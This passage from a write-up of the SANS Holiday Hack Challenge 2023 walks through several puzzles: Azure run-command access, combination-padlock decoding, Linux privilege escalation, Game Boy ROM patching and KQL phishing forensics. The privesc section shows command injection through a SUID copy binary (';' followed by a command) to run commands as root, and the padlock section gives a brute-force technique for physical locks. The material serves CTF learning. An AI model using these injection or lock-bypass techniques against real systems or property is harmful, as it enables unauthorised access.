      "runtimeADUserPassword": null,
      "scmIpSecurityRestrictions": null,
      "scmIpSecurityRestrictionsDefaultAction": null,
      "scmIpSecurityRestrictionsUseMain": null,
      "scmMinTlsVersion": null,
      "scmType": null,
      "sitePort": null,
      "sitePrivateLinkHostEnabled": null,
      "storageType": null,
      "supportedTlsCipherSuites": null,
      "tracingOptions": null,
      "use32BitWorkerProcess": null,
      "virtualApplications": null,
      "vnetName": null,
      "vnetPrivatePortsCount": null,
      "vnetRouteAllEnabled": null,
      "webSocketsEnabled": null,
      "websiteTimeZone": null,
      "winAuthAdminState": null,
      "winAuthTenantState": null,
      "windowsConfiguredStacks": null,
      "windowsFxVersion": null,
      "xManagedServiceIdentityId": null
    },
    "slotSwapStatus": null,
    "state": "Running",
    "storageAccountRequired": false,
    "suspendedTill": null,
    "tags": {
      "create-cert-func-url-path": "/api/create-cert?code=candy-cane-twirl",
      "project": "northpole-ssh-certs"
    },
    "targetSwapSlot": null,
    "trafficManagerHostNames": null,
    "type": "Microsoft.Web/sites",
    "usageState": "Normal",
    "virtualNetworkSubnetId": null,
    "vnetContentShareEnabled": false,
    "vnetImagePullEnabled": false,
    "vnetRouteAllEnabled": false
  }
]

โ›„ List the only VM in one of the resource groups accessible

elf@84d2543b8a87:~$ az vm list --resource-group northpole-rg2
[
  {
    "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg2/pro
viders/Microsoft.Compute/virtualMachines/NP-VM1",
    "location": "eastus",
    "name": "NP-VM1",
    "properties": {
      "hardwareProfile": {
        "vmSize": "Standard_D2s_v3"
      },
      "provisioningState": "Succeeded",
      "storageProfile": {
        "imageReference": {
          "offer": "UbuntuServer",
          "publisher": "Canonical",
          "sku": "16.04-LTS",
          "version": "latest"
        },
        "osDisk": {
          "caching": "ReadWrite",
          "createOption": "FromImage",
          "managedDisk": {
            "storageAccountType": "Standard_LRS"
          },
          "name": "VM1_OsDisk_1"
        }
      },
      "vmId": "e5f16214-18be-4a31-9ebb-2be3a55cfcf7"
    },
    "resourceGroup": "northpole-rg2",
    "tags": {}
  }
]

โ›„ Invoke a run-command and use a RunShellScript against the VM to reveal a file

elf@84d2543b8a87:~$ az vm run-command invoke -g northpole-rg2 -n "NP-VM1" --command-id RunShellScript --scripts 'ls'
{
  "value": [
    {
      "code": "ComponentStatus/StdOut/succeeded",
      "displayStatus": "Provisioning succeeded",
      "level": "Info",
      "message": "bin\netc\nhome\njinglebells\nlib\nlib64\nusr\n",
      "time": 1702591291
    },
    {
      "code": "ComponentStatus/StdErr/succeeded",
      "displayStatus": "Provisioning succeeded",
      "level": "Info",
      "message": "",
      "time": 1702591291
    }
  ]
}

Before leaving the area, head north to the resort and enter the Resort Lobby to unlock the destination.

Screenshot

๐ŸŽ… Luggage Lock ๐ŸŽ„

๐Ÿ† Objective: Help Garland Candlesticks on the Island of Misfit Toys get back into his luggage by finding the correct position for all four dials.

โ›ต Destination: Island of Misfit Toys (Squarewheel Yard)

โœ”๏ธ Solution: Find the 4 digit combination to unlock Garland Candlesticksโ€™ luggage

  • โ„๏ธ Sail east to the Island of Misfit Toys and on the far east side dock at Squarewheel Yard
  • โ„๏ธ Open Luggage Lock Decode challenge
  • โ„๏ธ Play on four wheels difficulty
  • โ„๏ธ Apply pressure and feel for dial resistance to locate correct combination

๐Ÿ’ฌ Garland Candlesticks Conversation:

Hey there, I'm Garland Candlesticks! I could really use your help with something.
You see, I have this important pamphlet in my luggage, but I just can't remember the combination to open it!
Chris Elgee gave a talk recently that might help me with this problem. Did you attend that?
I seem to recall Chris mentioning a technique to figure out the combinations...
I have faith in you! We'll get that luggage open in no time.
This pamphlet is crucial for me, so I can't thank you enough for your assistance.
Once we retrieve it, I promise to treat you to a frosty snack on me!
Wow, you did it! I knew you could crack the code. Thank you so much!

๐Ÿ’ก Breakdown:

Sailing east from Christmas Island to the Island of Misfit Toys, find Garland Candlesticks and his locked luggage.

Screenshot

Click on the case to start a new attempt with four wheels of difficulty.

Screenshot

Solve the challenge by using key bindings to interact with the case rather than the mouse.

Screenshot

Starting out apply 4 levels of pressure by using SPACE so that it has sufficient pressure. From here hold R and watch for what number consistently encounters resistance and holds for the longest time. Repeat this process for the remaining 3 dials (using E, W, Q to turn them), and then apply the 5th level of pressure to unlock the case. This process is demonstrated below.

Screenshot

Successful completion opens the luggage and reveals its contents.

Screenshot

Note: This challenge had a bug early on that caused some cases to automatically unlock without input. Upon reporting, Jared Folkins from the Counter Hack team was able to isolate, and with the rest of the team, resolve the issue.

๐ŸŽ… Linux PrivEsc ๐ŸŽ„๐ŸŽ„๐ŸŽ„

๐Ÿ† Objective: Rosemold is in Ostrich Saloon on the Island of Misfit Toys. Give her a hand with escalation for a tip about hidden islands.

โ›ต Destination: Island of Misfit Toys (Ostrich Saloon)

โœ”๏ธ Solution: simplecopy ";" "/root/runmetoanswer" and santa

  • โ„๏ธ Sailing southwest of Squarewheel Yard, dock at Scaredy-kite Heights in the most southwest corner of the Island of Misfit Toys
  • โ„๏ธ Head northeast into the Ostrich Saloon to find Rose Mold and the Linux PrivEsc Cranberry Pi terminal
  • โ„๏ธ Locate the vulnerable simplecopy SUID enabled binary
  • โ„๏ธ Discover the syntax for exploiting this binary
  • โ„๏ธ Exploit a vulnerability in the binary to run /root/runmetoanswer and respond with santa

๐Ÿ’ฌ Rose Mold Conversation:

What am I doing in this saloon? The better question is: what planet are you from?
Yes, Iโ€™m a troll from the Planet Frost. I decided to stay on Earth after Holiday Hack 2021 and live among the elves because I made such dear friends here.
Whatever. Do you know much about privilege escalation techniques on Linux?
You're asking why? How about I'll tell you why after you help me.
And you might have to use that big brain of yours to get creative, bub.
Yup, I knew you knew. You just have that vibe.
To answer your question of why from earlier... Nunya!
But, I will tell you something better, about some information I... found.
There's a hidden, uncharted area somewhere along the coast of this island, and there may be more around the other islands.
The area is supposed to have something on it that's totes worth, but I hear all the bad vibe toys chill there.
That's all I got. K byyeeeee.
Ugh... n00bs...

๐Ÿ’ก Breakdown:

Sailing southwest, locate the Scaredy-kite Heights dock in the southwest corner of the Island of Misfit Toys, and head northeast to find the Ostrich Saloon.

Screenshot

Entering the Ostrich Saloon you find Rose Mold and the Linux PrivESC Cranberry Pi terminal.

Screenshot

Opening the Cranberry Pi terminal presents a challenge:

In a digital winter wonderland we play,
Where elves and bytes in harmony lay.
This festive terminal is clear and bright,
Escalate privileges, and bring forth the light.

Start in the land of bash, where you reside,
But to win this game, to root you must glide.
Climb the ladder, permissions to seize,
Unravel the mystery, with elegance and ease.

There lies a gift, in the root's domain,
An executable file to run, the prize you'll obtain.
The game is won, the challenge complete,
Merry Christmas to all, and to all, a root feat!

* Find a method to escalate privileges inside this terminal and then run the binary in /root *

Given this is a Unix-like system (Linux), we can first see if thereโ€™s any unusual binaries with a SUID bit set. If either a SUID bit or SGID bit is set on a file it will be run with the same permissions as the user or group owner of the file respectively. In this instance a search solely for SUID bits set on files globally finds 9 items.

elf@79460c918f76:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/passwd
/usr/bin/simplecopy

The first 8 results are pretty common amongst Unix-like systems and arenโ€™t likely to have any obvious vulnerabilities which can be abused. Simplecopy on the other hand isnโ€™t a known prevalent binary.

By checking the permissions on this it is shown that the SUID bit is indeed set (the s in rws).

elf@79460c918f76:~$ ls -la /usr/bin/simplecopy
-rwsr-xr-x 1 root root 16952 Dec  2 22:17 /usr/bin/simplecopy

Running this presents usage instructions.

elf@79460c918f76:~$ /usr/bin/simplecopy
Usage: /usr/bin/simplecopy <source> <destination>

This very closely ressembles the cp copy syntax. By running it against non-existent files an error message shows this is using cp under the hood.

elf@705fe709674f:~$ /usr/bin/simplecopy a a
cp: cannot stat 'a': No such file or directory

Attempting to end the cp bash command by specifying ; as a source and whoami as a destination allows injecting our own commands as root despite any error messages. It essentially results in cp being run with no parameters, and instead the injected command being run.

elf@79460c918f76:~$ /usr/bin/simplecopy ";" "whoami"
cp: missing file operand
Try 'cp --help' for more information.
root

Repeating this with ; as a source and ls -la /root as a destination reveals the binary that needs to be run /root/runmetoanswer.

elf@79460c918f76:~$ /usr/bin/simplecopy ";" "ls -la /root"
cp: missing file operand
Try 'cp --help' for more information.
total 620
drwx------ 1 root root   4096 Dec  2 22:17 .
drwxr-xr-x 1 root root   4096 Dec 14 23:47 ..
-rw-r--r-- 1 root root   3106 Dec  5  2019 .bashrc
-rw-r--r-- 1 root root    161 Dec  5  2019 .profile
-rws------ 1 root root 612560 Nov  9 21:29 runmetoanswer

Repeating this one more time with ; as a source and /root/runmetoanswer as a destination allows the binary to be run as root. This presents a simple question that needs the answer santa to solve the challenge.

elf@79460c918f76:~$ simplecopy ";" "/root/runmetoanswer"   
cp: missing file operand
Try 'cp --help' for more information.
Who delivers Christmas presents?

> santa
Your answer: santa

Checking....
Your answer is correct!

๐ŸŽ… Faster Lock Combination ๐ŸŽ„๐ŸŽ„

๐Ÿ† Objective: Over on Steampunk Island, Bow Ninecandle is having trouble opening a padlock. Do some research and see if you can help open it!

โ›ต Destination: Steampunk Island (Brass Bouy Port)

โœ”๏ธ Solution: Using a Sticky Number and Guess Numbers brute force a combination padlock

  • โ„๏ธ Sail north of the Island of Misfit Toys and dock at Brass Bouy Port at the beak of Steampunk Island
  • โ„๏ธ Head west to find Bow Ninecandle needing the combination to a padlock
  • โ„๏ธ Using the lock mechanics, find the Sticky Number
  • โ„๏ธ Find 2 Guess Numbers between 0 and 11
  • โ„๏ธ Perform 3 mathematical formulas to:
    • โ„๏ธ Find the first digit
    • โ„๏ธ Find the third digit
    • โ„๏ธ Find 8 to 16 possible combinations for the second digit
  • โ„๏ธ Try all 8 to 16 possible padlock combinations

๐Ÿ’ฌ Bow Ninecandle Conversation:

Hey there! I'm Bow Ninecandle, and I've got a bit of a... 'pressing' situation.
You see, I need to get into the lavatory, but here's the twist: it's secured with a combination padlock.
Talk about bad timing, right? I could really use your help to figure this out before things get... well, urgent.
I'm sure there are some clever tricks and tips floating around the web that can help us crack this code without too much of a flush... I mean fuss.
Remember, we're aiming for quick and easy solutions here - nothing too complex.
Once we've gathered a few possible combinations, let's team up and try them out.
I'm crossing my legs - I mean fingers - hoping we can unlock this door soon.
After all, everyone knows that the key to holiday happiness is an accessible lavatory!
Let's dive into this challenge and hopefully, we won't have to 'hold it' for too long! Ready to help me out?
Oh, thank heavens! You're a lifesaver! With your knack for cracking codes, we've just turned a potential 'loo catastrophe' into a holiday triumph!

๐Ÿ’ก Breakdown:

Sail north of the Island of Misfit Toys to find and dock at Brass Bouy Port on Steampunk Island. Head west to find Bow Ninecandle and the Faster Lock challenge.

Screenshot

โ›„ Locate the sticky number:

  • Double click the dial to reset it (a physical lock would need it to be turned clockwise several times)
  • Place tension on the shackle and pull up until the lock siezes, let off a bit of tension so the dial is able to be turned

Siezed lock:

Screenshot

Tensioned, but turnable lock:

Screenshot

  • Turn the dial clockwise and keep turning until it physically slows and almost stops on a number.

Screenshot

In the above the sticky number is shown as 30.

โ›„ Find the guess numbers (between 0 and 11)

  • Apply heavy tension to the shackle (so it siezes)
  • The first guess number will be apparent when the lock siezes between 2 half numbers (the middle of them is the guess number)
  • Repeat this to find the second guess number

Screenshot

Screenshot

In the above the guess numbers are shown as 4 and 9.

โ›„ Find the first digit

  • This is going to be the Sticky Number + 5

In this instance the number is 35.

โ›„ Find the third digit

Take the first digit and divide by 4. Remember the remainder (either 0,1,2,3)

  • 35/4 = 8, remainder 3.
    • Plot a table using the guess numbers found with 2 rows and 4 columns
    • Add 10 to each
Guess Number Num + 10 Num + 20 Num + 30
4 14 24 34
9 19 29 39

Using the remembered remainder as a guide, divide these by 4 until you get 2 numbers with the same remainder (these are 2 possible values for the third digit)

4/4 = 1, 0 remainder 
14/4 = 3, 2 remainder
24/4 = 6, 0 remainder
34/4 = 8, 2 remainder
9/4 = 2, 1 remainder
19/4 = 4, 3 remainder
29/4 = 7, 1 remainder
39/4 = 9, 3 remainder

In the above the 2 possible values for the third digit are 19 and 39 as these both have the same remainder identified of 3.

  • Turn the dial and stop on each number
  • Place heavy tension on the shackle and turn, the number which feels most loose is likely the third digit

In this instance the numbers could be 19 or 39 but is most likely 19 based on how loose it feels.

Screenshot

โ›„ Find the second digit (8 possibilities)

  • Using the remembered remainder, create a table with 2 rows and 5 columns
    • row 1, column 1, is the remainder +2. To get the remaining columns add 8 to it 4 times
    • row 2, column 1, is the remainder +2 +4. To get the remaining columns add 8 to it 4 times
    • eliminate any values within 2 digits of the 3rd digit identified.
Remainder Calculation Calculation +8 Calculation +16 Calculation +24 Calculation +32
5 13 21 29 37
9 17 25 33 41

Removing the possibilities for the 3rd digit would leave:

If third number is 19

5 13 29 37
9 25 33 41

If third number is 39

5 13 21 29 
9 17 25 33 

โ›„ Try possible combinations

Using known possibilities the lock combination is likely to be one of the following:

If third number is 19

35 5 19
35 13 19
35 29 19
35 37 19
35 9 19
35 25 19
35 33 19	

If third number is 39

35 5 39
35 13 39
35 21 39
35 29 39
35 9 39
35 17 39
35 25 39
35 33 39	

In this instance, testing these solutions finds the correct answer in only a second attempt, taking less than a minute: 35 13 19

Screenshot

Note: Bow Ninecandle has a familiar voice that I just canโ€™t put my finger on ๐Ÿ˜‰

๐ŸŽ… Game Cartridges: Vol 1 ๐ŸŽ„

๐Ÿ† Objective: Find the first Gamegosling cartridge and beat the game

โ›ต Destination: Island of Misfit Toys (Tarnished Trove)

โœ”๏ธ Solution: santaconfusedgivingplanetsqrcode

  • โ„๏ธ Sail northeast of Steampunk Island and dock at Driftbit Grotto on the neck of Pixel Island
  • โ„๏ธ Head west to find a game cartridge (Vol 2)
  • โ„๏ธ Receive the Game Boy Cartridge Detector from Tinsel Upatree
  • โ„๏ธ Sail south of Pixel Island to the Island of Misfit Toys and dock at Tarnished Trove
  • โ„๏ธ Find the game cartridge (Vol 1) hidden under a straw hat
  • โ„๏ธ Solve Elf the Dwarf's Gloriously, Unfinished, Adventure! - Vol1 and scan the QR code

๐Ÿ’ฌ Dusty Giftwrap Conversation:

Arrr, matey, shiver me timbers! There be buried treasure herrrrre.
Just kidding, I'm not really a pirate, I was just hoping it would make finding the treasure easier.
I guess you heard about the fabled buried treasure, too? I didn't expect to see anyone else here. This uncharted islet was hard to find.
I bet one of these creepy toys has the treasure, and I'm sure not going anywhere near them!
If you find the treasure, come back and show me, and I'll tell you what I was able to research about it.
Good luck!
Whoa, you found it!
It's a... video game cartridge? Coooooollll... I mean, arrrrrr....
So, here's what my research uncovered. Not sure what it all means, maybe you can make sense of it.

๐Ÿ’ก Breakdown:

Sail northeast of Steampunk Island and dock at Driftbit Grotto on the neck of Pixel Island. Talk to Tinsel Upatree and retrieve the Game Boy Cartridge Detector.

Screenshot

Sail south of Pixel Island to the Island of Misfit Toys and dock at Tarnished Trove. Locate a suspicious straw hat and walk into it.

Screenshot

Obtain Elf the Dwarf's Gloriously, Unfinished, Adventure! - Vol1 and play the game.

Screenshot

Talk to the dog and accept the mission of fixing a QR Code.

Screenshot

Run around singing as if you were on a game show. Constantly spam the sing button at blocks until you find a block that needs to be moved. Push the block into the designated area.

Screenshot

Eventually realise that one mistake means having to start again, so instead of wasting time download the rom by intercepting local network traffic to find where it is being pulled from.

Screenshot

GET /vol1-uWn1t6xv4VKPZ6FN/rom/game.gb HTTP/2
Host: gamegosling.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://gamegosling.com/vol1-uWn1t6xv4VKPZ6FN/index.html?&challenge=gameboy1&username=JPMinty&id=307d0bf7-5ae4-444b-9588-2f357e62a426&area=imt-tarnishedtrove&location=50,80&tokens=&dna=ATATATTAATATATATATATTAGCATATATATTATAGCTAATATATATATATATTAATATATATATATTAATATATTAGCATATATATATATGCCGATATATATATATATGCATATTAAT
Dnt: 1
Sec-Gpc: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

Run the game in a local emulator such as Visual Boy Advance, and take advantage of the realtime save state capability to save and load as required.

Screenshot

Keep singing and pushing until the QR code is solved.

Screenshot

Scan the QR code and find the flag.

Screenshot

https://8bitelf.com/

flag:santaconfusedgivingplanetsqrcode

๐ŸŽ… Game Cartridges: Vol 2 ๐ŸŽ„๐ŸŽ„๐ŸŽ„

๐Ÿ† Objective: Find the second Gamegosling cartridge and beat the game

โ›ต Destination: Island of Pixel Island (Driftbit Grotto)

โœ”๏ธ Solution: GL0RY

  • โ„๏ธ Play the previously obtained Elf the Dwarf's Gloriously, Unfinished, Adventure! - Vol2 from your inventory
  • โ„๏ธ Restart the game and detect that there are 2 versions of the game you can wind up playing
  • โ„๏ธ Download game0.gb and game1.gb roms and examine them in a hex editor
  • โ„๏ธ Patch elements of one game onto the other until you can pass through to a portal
  • โ„๏ธ Listen to the old-timey radio and obtain the morse code
  • โ„๏ธ Decode the morse code to retrieve the flag GL0RY

๐Ÿ’ฌ Tinsel Upatree Conversation:

I can't believe I was actually able to find this underground cavern!
I discovered what looked liike an old pirate map in the attic of one of those huts in Rainraster Cliffs, and it actually led somewhere!
But now that I've seen where it leads, I think this might've been a bad idea. This place is scary! Maybe you want to take it from here?
There are 3 buried treasures in total, each in its own uncharted area around Geese Islands.
I've been searching for a bit, but the mustiness down here is making me sneeze!
Maybe you'll be able to find it. Here, use my Gameboy Cartridge Detector. Go into your items and test it to make sure it's still working.
When you get close to the treasure, it'll start sounding off. The closer you get, the louder the sound.
No need to activate or fiddle with it. It just works!
I bet it's somewhere right... near... ACHOOO!
If you find the treasure, come back and show me, and I'll tell you what I was able to research about it.
Good luck!
Whoa, you found it!
What version is it?
Did you know that many games had multiple versions released? Word is: volume 2 has 2 versions!

๐Ÿ’ก Breakdown:

Play Elf the Dwarf's Gloriously, Unfinished, Adventure! - Vol2 previously obtained from Driftbit Grotto.

Screenshot

Intercept requests to gamegosling.com and locate where game0.gb or game1.gb is being pulled from.

Screenshot

Attempt to play either served game and be halted by a wizard at either the top or bottom of the map.

Screenshot

Screenshot

Download a copy of both game0.gb and game1.gb and compare these using a hex editor.

https://gamegosling.com/vol2-akHB27gg6pN0/rom/game1.gb
https://gamegosling.com/vol2-akHB27gg6pN0/rom/game0.gb

Examining the differences shows thereโ€™s only 12 bytes different at around 6 different offsets.

โ›„ Offset 0x14F

Screenshot

โ›„ Offset 0x593-0x596

Screenshot

โ›„ Offset 0x16A84

Screenshot

โ›„ Offset 0x16AB8

Screenshot

โ›„ Offset 0x17C80

Screenshot

โ›„ Offset 0x1850E-0x18514

Screenshot

By manually replacing hex values one at a time from game0.gb into game1.gb, it was found that the offset at 0x16A84 controlled what side the portal was on, and 0x16AB8 controlled what side the wizard was on.

Screenshot

Screenshot

Entering the portal revealed ChatNPT talking about an old-timey radio.

Screenshot

Listening to the radio you can hear morse code. By recording this using Audacity and the Windows WASAPI loopback API, it can then be uploaded to a service such as an online Morse Decoder.

Screenshot

Although the output may be messed up during interpretation of the first characters, listening to the morse code manually helps to realise this is actually GL0RY the flag for the challenge.

๐ŸŽ… Game Cartridges: Vol 3 ๐ŸŽ„๐ŸŽ„๐ŸŽ„

๐Ÿ† Objective: Find the third Gamegosling cartridge and beat the game

โ›ต Destination: Steampunk Island (Rusty Quay)

โœ”๏ธ Solution: !tom+elf!

  • โ„๏ธ Sail northwest of the Island of Misfit Toys and dock at Rusty Quay on the west side of Steampunk Island
  • โ„๏ธ Zoom out to discover a maze and the third Gamegosling cartridge at the end of it
  • โ„๏ธ Solve the maze to obtain Elf the Dwarfโ€™s, Gloriously, Unfinished, Adventure! - Vol3
  • โ„๏ธ Play the game and notice anomalies present
  • โ„๏ธ Collect 999 coins and cause an error
  • โ„๏ธ Cause the game to set a path forward by collecting the right amount of coins
  • โ„๏ธ Speak to Tom Liston, ChatNPT, and obtain the flag

๐Ÿ’ฌ Angel Candysalt Conversation:

The name's Angel Candysalt, the great treasure hunter!
A euphemism? No, why do people always ask me that??
Anyways, I came here to nab the treasure hidden in this ship graveyard, only to discover it's protected by this rusted maze.
That must be why all these old ships are here. Their crew came to find the treasure, only to get lost in the labrynth.
At least it's obvious where this one is. See that shiny spot over to the right? That's gotta be where it is! If only I had a bird's eye view.
But how to get there? Up? Down? Left? Right? Oh well, that's your problem now!
Come back if you can find your way to it, and I'll tell you some secrets I've heard about this one.
The life of a treasure hunter isn't easy, but it sure is exciting!
Oh it's a video game, I love video games! But you've claimed this treasure, nicely done.
Now, about those secrets I've been told. They're pretty cryptic, but they are. Hopefully that helps with something!
You have all three? Wow, you must be the greatest treasure hunter that ever lived!

๐Ÿ’ก Breakdown:

Sail northwest from the Island of Misfit Toys and dock at Rusty Quay on the west side of Steampunk Island. Zoom out to see a maze with the third Gamegosling cartridge at the end of it.

Screenshot

Look at network traffic to discover the maze is pulled from the following URL.

https://2023.holidayhackchallenge.com/images/fabric/spi-rustyquay_floor.jpg

Screenshot

Working your way back from the end of the maze, use the spi-rustyquay_floor.jpg image to mark a trail leading to the beginning of the maze.

Screenshot

Follow the path to find the game and play it. For an augmented experience which guides you to the finish, replace the floor class background URL to point to a copy of the modified spi-rustyquay_floor.jpg

Screenshot

Intercept the request and download game.gb to emulate it locally.

gamegosling.com/vol3-7bNwQKGBFNGQT1/rom/game.gb

Collect coins and evade enemies to increase your score by either 1, 10, or 100 points depending on the coin.

Screenshot

Make your way to the end area where Jared mentions that marketing always loved talking about 5 nines, but that it was more like 3 nines.

Screenshot

Continue collecting coins and eventually youโ€™ll reach a gap that you canโ€™t pass with a max score of 678 if you never died and collected all coins.

Screenshot

Fall down and continue collecting coins in the first area, the first coin is worth 1 point, second is worth 10, and third is worth 100. Collect exactly 989 points and return to the gap again to find that a bridge has appeared.

Screenshot

Note: Collecting 999 causes an error to be thrown; however, this error is hard-coded into the game as a message for hitting 999 points.

Screenshot

Travelling into the cave you meet the hacker Tom Liston who gives you a passphrase morethanmeetstheeye, and speaking this to ChatNPT causes a variable to be set that allows moving a rock and securing the flag.

Screenshot

Screenshot

This is likely an unintended solution to the challenge given the reference to three nines makes it seem like the score you needed to get was 999

๐ŸŽ… Naโ€™an ๐ŸŽ„๐ŸŽ„

๐Ÿ† Objective: Shifty McShuffles is hustling cards on Film Noir Island. Outwit that meddling elf and win!

โ›ต Destination: Film Noir Island (Chiaroscuro City)

โœ”๏ธ Solution: Defeat Shifty McShuffles by playing variations of nan

  • โ„๏ธ Sail east and dock at Chiaroscuro City on Film Noir Island (the right foot of the island)
  • โ„๏ธ Travel northwest to find Shifty McShuffles and a game of `Na'anโ€™
  • โ„๏ธ Challenge the elf to a game and score 10 points to win

๐Ÿ’ฌ Shifty McShuffles Conversation:

Hey there, stranger! Fancy a game of cards? Luck's on your side today, I can feel it.
Step right up, test your wit! These cards could be your ticket to fortune.
Trust me, I've got a good eye for winners, and you've got the look of luck about you.
Plus, I'd wager you've never played this game before, as this isn't any ordinary deck of cards. It's made with Python.
The name of the game is to bamboozle the dealer.
So whad'ya think? Are you clever enough?
Well, you sure are more clever than most of the tourists that show up here.
I couldn't swindle ya, but don't go telling everyone how you beat me!
An elf's gotta put food on the table somehow, and I'm doing the best I can with what I got.

๐Ÿ’ก Breakdown:

Sail east and dock at Chiaroscuro City on Film Noir Island. Head northwest to find Shifty.

Screenshot

Intercept web requests to see that a score parameter is being sent in a POST request to nannannannannannan.com.

Screenshot

Notice that the cards played are also being sent in a POST request to nannannannannannan.com.

Screenshot

Screenshot

Playing various capitalisation combinations of the value NaN (not a number) confuses the program and allows beating Shifty every time.

Screenshot

Screenshot

Itโ€™s worth noting that if only a single NaN is sent you can still wind up losing the hand.

Screenshot

Continuing to send the Batman theme song in POST requests leads to victory.

Screenshot

๐ŸŽ… KQL Kraken Hunt ๐ŸŽ„๐ŸŽ„

๐Ÿ† Objective: Use Azure Data Explorer to uncover misdeeds in Santaโ€™s IT enterprise. Go to Film Noir Island and talk to Tangle Coalbox for more information.

โ›ต Destination: Film Noir Island (Gumshow Alley PI Office)

โœ”๏ธ Solution: Beware the Cube that Wombles

๐Ÿ’ฌ Tangle Coalbox Conversation:

Greetings, rookie. Tangle Coalbox of Kusto Detective Agency here.
I've got a network infection case on Film Noir Island that needs your expertise.
Seems like someone clicked a phishing link within a client's organization, and trouble's brewing.
I'm swamped with cases, so I need an extra pair of hands. You up for the challenge?
You'll be utilizing the Azure Data Explorer and those KQL skills of yours to investigate this incident.
Before you start, you'll need to create a free cluster.
Keep your eyes peeled for suspicious activity, IP addresses, and patterns that'll help us crack this case wide open.
Remember, kid, time is of the essence. The sooner we can resolve this issue, the better.
If you run into any problems, just give me a holler, I've got your back.
Good hunting, and let's bring this cyber criminal to justice.
Once you've got the intel we need, report back and we'll plan our next move. Stay sharp, rookie.
I had my doubts, but you've proven your worth.
That phishing scheme won't trouble our client's organization anymore, thanks to your keen eye and investigatory prowess.
So long, Gumshoe, and be careful out there.
  • โ„๏ธ Head northwest to find the entrance of Gumshow Alley PI Office in Chiaroscuro City
  • โ„๏ธ Enter the building to find Tangle Coalbox and the Kusto Detective challenge
  • โ„๏ธ Create a free Kusto cluster and insert system telemetry
  • โ„๏ธ Discover how many Craftperson Elf's are working from laptops
  • โ„๏ธ Discover the email address of the employee who received this phishing email
  • โ„๏ธ Discover the email address that was used to send this spear phishing email
  • โ„๏ธ Discover the subject line used in the spear phishing email
  • โ„๏ธ Discover the role of our victim in the organization
  • โ„๏ธ Discover the hostname of the victim's machine
  • โ„๏ธ Discover the source IP linked to the victim
  • โ„๏ธ Discover the time Alabaster clicked on the malicious link
  • โ„๏ธ Discover what file is dropped to Alabaster's machine shortly after he downloads the malicious file
  • โ„๏ธ Discover the IP address forwarded to from an attacker reverse tunnel
  • โ„๏ธ Discover the timestamp when the attackers enumerated network shares on the machine
  • โ„๏ธ Discover the hostname of the system the attacker moved laterally to
  • โ„๏ธ Discover the attacker's first base64 encoded PowerShell command executed on Alabaster's machine
  • โ„๏ธ Discover the name of the file the attacker copied from the fileshare
  • โ„๏ธ Discover the domain name data was likely exfiltrated to
  • โ„๏ธ Discover the name of the executable the attackers used in the final malicious command
  • โ„๏ธ Discover the command line flag used alongside this executable
  • โ„๏ธ Run the provided query to uncover the flag

๐Ÿ’ก Breakdown:

Head northwest to find the entrance of Gumshoe Alley PI Office in Chiaroscuro City.

Screenshot

Enter Gumshoe Alley PI Office to find Tangle Coalbox and the Kusto Detective challenge.

Screenshot

Open the challenge and read the email from Lieutenant Hackstopper.

Screenshot

Screenshot

Follow the FAQ and Train me for the case buttons to stand up a Kusto cluster and begin the challenge. Using Kusto Query Language and the new cluster, solve the following questions:

โ›„ Discover how many Craftperson Elfโ€™s are working from laptops

Screenshot

Employees
| where hostname has "LAPTOP" and role == "Craftsperson Elf"
| count

25

This opens up Case 1.

Screenshot

โ›„ Discover the email address of the employee who received this phishing email

Email
| where link == 'http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx'
| take 1

[email protected]

โ›„ the email address that was used to send this spear phishing email

Email
| where link == 'http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx'
| take 1

[email protected]

โ›„ the subject line used in the spear phishing email

Email
| where link == 'http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx'
| take 1

[EXTERNAL] Invoice foir reindeer food past due

This opens up Case 2.

Screenshot

โ›„ the role of our victim in the organization

Employees
| where name == "Alabaster Snowball"

Head Elf

โ›„ the hostname of the victimโ€™s machine

Employees
| where name == "Alabaster Snowball"

Y1US-DESKTOP

โ›„ the source IP linked to the victim

Employees
| where name == "Alabaster Snowball"

10.10.0.4

This opens up Case 3.

Screenshot

OutboundNetworkEvents
| where url == 'http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx'

2023-12-02T10:12:42Z

โ›„ what file is dropped to Alabasterโ€™s machine shortly after he downloads the malicious file

FileCreationEvents
| summarize count() by username

Then using Alabasterโ€™s usernameโ€ฆ

FileCreationEvents
| where username == "alsnowball"

giftwrap.exe

This opens up Case 4.

โ›„ the IP address forwarded to from an attacker reverse tunnel

ProcessEvents
| where username == "alsnowball"

Screenshot

113.37.9.17

โ›„ the timestamp when the attackers enumerated network shares on the machine

ProcessEvents
| where username == "alsnowball"

Screenshot

2023-12-02T16:51:44Z

โ›„ the hostname of the system the attacker moved laterally to

ProcessEvents
| where username == "alsnowball"

Screenshot

NorthPolefileshare

This opens up Case 5.

โ›„ the attackerโ€™s first base64 encoded PowerShell command executed on Alabasterโ€™s machine

ProcessEvents
| where username == "alsnowball" and process_commandline has "enc"

Using CyberChef decode the commands to identify the first one as a benign SCCM command.

Screenshot

2023-12-24T16:07:47Z

โ›„ the name of the file the attacker copied from the fileshare

ProcessEvents
| where username == "alsnowball" and process_commandline has "enc"

Screenshot

NaughtyNiceList.txt

โ›„ the domain name data was likely exfiltrated to

ProcessEvents
| where username == "alsnowball" and process_commandline has "enc"

Screenshot

giftbox.com

This opens up Case 6.

Screenshot

โ›„ the name of the executable the attackers used in the final malicious command

ProcessEvents
| where username == "alsnowball" and process_commandline has "enc"

Screenshot

downwithsanta.exe

ProcessEvents
| where username == "alsnowball" and process_commandline has "enc"

โ›„ the command line flag used alongside this executable

โ€“wipeall

This reveals a command to uncover the final flag.

Screenshot

Beware the Cube that Wombles

๐ŸŽ… Phish Detection Agency ๐ŸŽ„๐ŸŽ„

